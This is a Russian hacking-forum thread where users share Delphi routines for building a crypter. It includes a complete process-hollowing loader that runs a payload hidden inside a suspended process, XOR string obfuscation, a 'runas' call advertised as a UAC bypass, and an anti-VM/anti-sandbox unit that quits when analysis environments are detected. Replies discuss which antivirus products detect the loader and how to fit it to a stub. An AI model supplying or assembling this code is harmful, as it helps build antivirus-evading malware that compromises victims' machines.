• Привет !

    На форуме есть зеркало в ТОРе:rusfwz3cukdej7do.onion

    Обратная связь:info@ru-sfera.org

    Всего доброго !

Полезные процедуры и функции для Делфи (1 Viewer)

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 404
Репутация
7 895
Telegram
Часто бывает когда пишешь чего-либо и не важно на каком языке, бывают уже готовые решения многих задач, что-бы не тратить время на их решения, ну либо просто не изобретать велосипед, существует подборка готовых функций, достаточно просто скопировать их в свою программу и потом вызывать их где нужно !

Существуют даже готовые модули и dll, но здесь предлагаю выкладывать процедуры решающие простые задачи !

Вот к примеру для написания криптора, нужны как минимум вот такие функции, которые решают следующие задачи:

1) Процедура считывает наш файл, получает строку данных из файла в формате String:
Код:
Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @result[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;
2)В этой функции удаляем строку Delimitador, который разделяет несколько строк, на выходе получим нужный массив строк:
Код:
function SplitMetal(Texto, Delimitador: string): TSarray;
var
  o: integer;
  PosDel: integer;
  Aux: string;
begin
  o := 0;
  Aux := Texto;
  setlength(Result, length(Aux));
  repeat
	PosDel := Pos(Delimitador, Aux) - 1;
	if PosDel = -1 then
	begin
	  Result[o] := Aux;
	  break;
	end;
	Result[o] := copy(Aux, 1, PosDel);
	delete(Aux, 1, PosDel + length(Delimitador));
	inc(o);
  until Aux = '';
end;
3) Процедура шифрования XOR:
Код:
Function XORizo(Text, Pass: string): string;
var
i, p: integer;
Res: string;
begin
p:= 1;
for i:= 1 to Length(Text) do
	begin
	Res:= Res + Chr((Ord(Text) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
	inc(p);
	if p > Length(Pass) then p:= 1;
	end;
SetLength(Result, Length(Res));
Result:= Res;
end;
Предлагаю в этой теме выкладывать решения небольших задач в формате подпрограмм !

Кстати появился новый раздел:https://ru-sfera.org/forums/kodim-v-delfi.122/ like it
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 404
Репутация
7 895
Telegram
Эта процедура запустит файл в памяти:
Код:
Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID        = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR    = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;
  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo          :TProcessInformation;
  StartupInfo          :TStartupInfo;
  Context              :TContext;
  BaseAddress          :Pointer;
  BytesRead            :DWORD;
  BytesWritten          :DWORD;
  I :ULONG;
  OldProtect            :ULONG;
  NTHeaders            :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success              :Boolean;
  ProcessName          :string;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping      :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE  );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);
  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
  StartupInfo.wShowWindow := SW_NORMAL
  else
  StartupInfo.wShowWindow := SW_Hide;
  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
  False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;
    Try
      Context.ContextFlags := CONTEXT_INTEGER;
        If (GetThreadContext(ProcessInfo.hThread, Context) And
        (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
        (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
        (Assigned(Buffer))) Then
        Begin
          NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
          BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                         Pointer(NTHeaders.OptionalHeader.ImageBase),
                                         NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                         PAGE_READWRITE);
          If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
             Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                        Pointer(Cardinal(BaseAddress) +
                                                Sections[I].VirtualAddress),
                                        Pointer(Cardinal(Buffer) +
                                                Sections[I].PointerToRawData),
                                      Sections[I].SizeOfRawData, BytesWritten)) Then
                    VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);
                 If (WriteProcessMemory(ProcessInfo.hProcess,
                                      Pointer(Context.Ebx + 8), @BaseAddress,
                                      SizeOf(BaseAddress), BytesWritten)) Then
                  Begin
                    Context.EAX := ULONG(BaseAddress) +
                                  NTHeaders.OptionalHeader.AddressOfEntryPoint;
                    Success := SetThreadContext(ProcessInfo.hThread, Context);
                  End;
              End;
        End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;


Где Buffer - указатель на нашу строку данных файла, Visible - режим запуска, скрытый или нет.

Как юзать:

memoryexecute(@FileString, '', true);

Запустит в скрытом режиме наш файл !
 
Последнее редактирование:

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 775
Я таких серьёзных функций не знаю.Могу добавить что-нибудь простенькое.Вот,например,генерация ключа любой длины (применял в рашен водка криптор).
1.Процедура генерирует ключ (пасс) и выводит его в эдит1
Код:
procedure Randomize ;
const PassChar = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM*+,-./{|}~!"#$%&()*+';//символы,буквы,цифры используемые в генерируемом ключе
  var
LenPass : integer;
sPass : string;
i, passCharCount : integer;
begin
Randomize;
 LenPass := 25;//длина ключа
passCharCount := Length(PassChar);
sPass := '';
 
for i:=1 to LenPass do
sPass := sPass + PassChar[ Random(passCharCount)+1 ];
 
Edit1.Text := sPass;
end;
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 404
Репутация
7 895
Telegram
Я таких серьёзных функций не знаю.Могу добавить что-нибудь простенькое.
Так серьёзное и не надо, для серьёзных есть специальные подключаемые модули, даже платные...

Здесь именно простенькие задачи, иногда когда лень, либо просто некогда, такие програмки серьёзно помогают сэкономить время...

Хотя некоторые программисты считают что это читерство и всё делают сами, может они и правы, но я всё-же сторонник такого подхода, зачем придумывать то-что уже придумано ?

Не лучше ли на основе придуманного создать что-то своё ?My mind

Но понятно что в этих програмках лучше разобраться как оно работает, потому-что может-быть специфика и т.д.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 404
Репутация
7 895
Telegram
Запуск с правами админа:
Код:
procedure RunAsAdministrator(const source: string);
var
  shExecInfo: PSHELLEXECUTEINFOA;
begin
  New(shExecInfo);
  shExecInfo^.cbSize := sizeof(SHELLEXECUTEINFO);
  shExecInfo^.fMask := 0;
  shExecInfo^.Wnd := 0;
  shExecInfo^.lpVerb := 'runas';
  shExecInfo^.lpFile := PAnsiChar(ExtractFileName(source));
  shExecInfo^.lpParameters := '';
  shExecInfo^.lpDirectory := PAnsiChar(ExtractFilePath(source));
  shExecInfo^.nShow := SW_SHOWNORMAL;
  shExecInfo^.hInstApp := 0;
  ShellExeCuteex(shExecInfo);
  Dispose(shExecInfo);
//  shExecInfo := nil;
end;
Полезно если нужно запустить программу в обход UAC, вроде работает !WinkSmile
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 404
Репутация
7 895
Telegram
Полезно если нужно запустить программу в обход UAC, вроде работает !WinkSmile
Многие сейчас скажут, есть-же манифест:
Код:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestversion="1.0">
<assemblyIdentity
version="2.0.0.0"
processorArchitecture='*'
name="Student LAN Manager"
type="win32"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
  <requestedPrivileges>
  <requestedExecutionLevel level="requireAdministrator"/>
  </requestedPrivileges>
</security>
</trustinfo>
</assembly>
Отвечаю сразу, манифест будет запускать программу постоянно с правами админа, это не всегда нужно, к тому-же может постоянно при запуске появлятся надоедливое окно UAC !

Использование-же функции выше позволит получать админские права, только когда нужно, а админские права не всегда и нужны проги, обычно только при первом запуске и всё...My mind
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 775
Искал всякие "антивиртуальные" фишки. Теперь вы можете обезопасить свой проект лишь при помощи команд copy-paste:)
Antis [Maquinas Virtuales / Sandbox's] [Delphi]
Код:
//******************************************************************************
// Unit        : ANTIS
// Autor      : Fakedo0r .:[PD-TEAM]:.
// Fecha      : 04.04.2012
// Modificacion: 12.08.2012
// Creditos    : Cobein
// Descripcion : Detecta [VirtualPC / VMWare / VirtualBox / Anubis]
//              Detecta [Sandboxie / ThreatExpert / CWSandbox / JoeBox]
// Uso         : Anti_End;
//******************************************************************************
Unit UNT_ANTIS;
//******************************************************************************
// DECLARACION DE CLASES
//******************************************************************************
Interface
Uses
  Windows, ShlObj, Messages, SysUtils;
//******************************************************************************
// DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
Function IsVirtualPCPresent: Bool;
Function IsInSandbox: Bool;
Function Anti_End: Bool;
//******************************************************************************
// FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
Implementation
//******************************************************************************
//<--- [VirtualPC / VMWare / VirtualBox / Anubis] --->
//******************************************************************************
Function IsVirtualPCPresent: Bool;
Const
  sArrVM: Array [0 .. 3] Of String = ('VIRTUAL', 'VMWARE', 'VBOX', 'QEMU');
Var
  hlKey:      HKEY;
  sBuffer:    String;
  sPathName:  String;
  I:          Integer;
  iRegType:  Integer;
  iDataSize:  Integer;
Begin
  IsVirtualPCPresent := False;
  iRegType := 1;
  sPathName := 'SYSTEM\ControlSet001\Services\Disk\Enum';
  If RegOpenKeyEx($80000002, PChar(sPathName), 0, $20019, hlKey) = 0 Then
    If RegQueryValueEx(hlKey, '0', 0, @iRegType, Nil, @iDataSize) = 0 Then
    Begin
      SetLength(sBuffer, iDataSize);
      RegQueryValueEx(hlKey, '0', 0, @iRegType,
                      PByte(PChar(sBuffer)), @iDataSize);
      For I := 0 To 3 Do
        If AnsiPos(UpperCase(sArrVM[I]), UpperCase(Trim(sBuffer))) > 0 Then
          IsVirtualPCPresent := True;
    End;
  RegCloseKey(hlKey);
End;
//******************************************************************************
//<--- SANDBOX [Sandboxie / ThreatExpert / CWSandbox / JoeBox] --->
//******************************************************************************
Function IsInSandbox: Bool;
Const
  sArrSB: Array [0 .. 1] Of String = ('76487-644-3177037-23510',
                                      '55274-640-2673064-23950');
  sArrDll: Array [0 .. 1] Of String = ('sbiedll.dll', 'dbghelp.dll');
Var
  hlKey:      HKEY;
  sBuffer:    String;
  sPathName:  String;
  I:          Integer;
  hDll:      Integer;
  iRegType:  Integer;
  iDataSize:  Integer;
  hSnapShot:  Integer;
Begin
  IsInSandbox := False;
  iRegType := 1;
  sPathName := 'Software\Microsoft\Windows\CurrentVersion':
  hDll := LoadLibrary(Pchar(sArrDll[0]));
  If hDll <> 0 Then
    IsInSandbox := True;
  FreeLibrary(hDll);
  hDll := LoadLibrary(Pchar(sArrDll[1]));
  If hDll <> 0 Then
    IsInSandbox := True;
  FreeLibrary(hDll);
  If RegOpenKeyEx($80000002, PChar(sPathName), 0, $20019, hlKey) = 0 Then
    If RegQueryValueEx(hlKey, 'ProductId', 0, @iRegType, Nil,
                        @iDataSize) = 0 Then
    Begin
      SetLength(sBuffer, iDataSize);
      RegQueryValueEx(hlKey, 'ProductId', 0, @iRegType,
                      PByte(PChar(sBuffer)), @iDataSize);
      For i := 0 To 2 Do
        If AnsiPos(sArrSB[i], Trim(sBuffer)) > 0 Then
          IsInSandbox := True;
    End;
  RegCloseKey(hlKey);
End;
//******************************************************************************
//<--- LLAMADA MAIN --->
//******************************************************************************
Function Anti_End: Bool;
Begin
  Anti_End := False;
  If IsVirtualPCPresent = True Or IsInSandbox = True Then
    ExitProcess(0);
End;
End.
Для примера в архиве запуск обычной формы с "антивирутальной" функцией.
 

Вложения

ja_far

Уважаемый пользователь
Форумчанин
Регистрация
01.10.2014
Сообщения
47
Репутация
48
Эта процедура запустит файл в памяти:
Код:
Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID        = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR    = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;
  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo          :TProcessInformation;
  StartupInfo          :TStartupInfo;
  Context              :TContext;
  BaseAddress          :Pointer;
  BytesRead            :DWORD;
  BytesWritten          :DWORD;
  I :ULONG;
  OldProtect            :ULONG;
  NTHeaders            :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success              :Boolean;
  ProcessName          :string;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping      :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE  );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);
  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
  StartupInfo.wShowWindow := SW_NORMAL
  else
  StartupInfo.wShowWindow := SW_Hide;
  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
  False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;
    Try
      Context.ContextFlags := CONTEXT_INTEGER;
        If (GetThreadContext(ProcessInfo.hThread, Context) And
        (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
        (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
        (Assigned(Buffer))) Then
        Begin
          NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
          BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                         Pointer(NTHeaders.OptionalHeader.ImageBase),
                                         NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                         PAGE_READWRITE);
          If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
             Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                        Pointer(Cardinal(BaseAddress) +
                                                Sections[I].VirtualAddress),
                                        Pointer(Cardinal(Buffer) +
                                                Sections[I].PointerToRawData),
                                      Sections[I].SizeOfRawData, BytesWritten)) Then
                    VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);
                 If (WriteProcessMemory(ProcessInfo.hProcess,
                                      Pointer(Context.Ebx + 8), @BaseAddress,
                                      SizeOf(BaseAddress), BytesWritten)) Then
                  Begin
                    Context.EAX := ULONG(BaseAddress) +
                                  NTHeaders.OptionalHeader.AddressOfEntryPoint;
                    Success := SetThreadContext(ProcessInfo.hThread, Context);
                  End;
              End;
        End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;


Где Buffer - указатель на нашу строку данных файла, Visible - режим запуска, скрытый или нет.

Как юзать:

memoryexecute(@FileString, '', true);

Запустит в скрытом режиме наш файл !
Самой по себе, без костылей, только одной этой функцией не обойтись, пробовал. Пришлось твоих полпроекта скопировать) Прикрутил таки этот загрузчик к своему стабу - работает, только пропалено сильно.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 404
Репутация
7 895
Telegram
работает, только пропалено сильно.
Большенство АВ на саму функцию не реагируют-же, по крайне мере месяца три назад проверял:Касперский, Доктор, Нод не детектели...

Они эмулируют код под ней + Нод и Доктор могут детектить вирусы прям в памяти, каспер-же по мойму по поведению только детектит, а в памяти нет, хотя могу и ошибаться...
 

ja_far

Уважаемый пользователь
Форумчанин
Регистрация
01.10.2014
Сообщения
47
Репутация
48
Большенство АВ на саму функцию не реагируют-же, по крайне мере месяца три назад проверял:Касперский, Доктор, Нод не детектели...

Они эмулируют код под ней + Нод и Доктор могут детектить вирусы прям в памяти, каспер-же по мойму по поведению только детектит, а в памяти нет, хотя могу и ошибаться...
Чистый файл всовываю - запускается но детектит, т.е. палится сам метод запуска кода в памяти. Не всеми АВ но елка присутствует. Моим загрузчиком - чисто.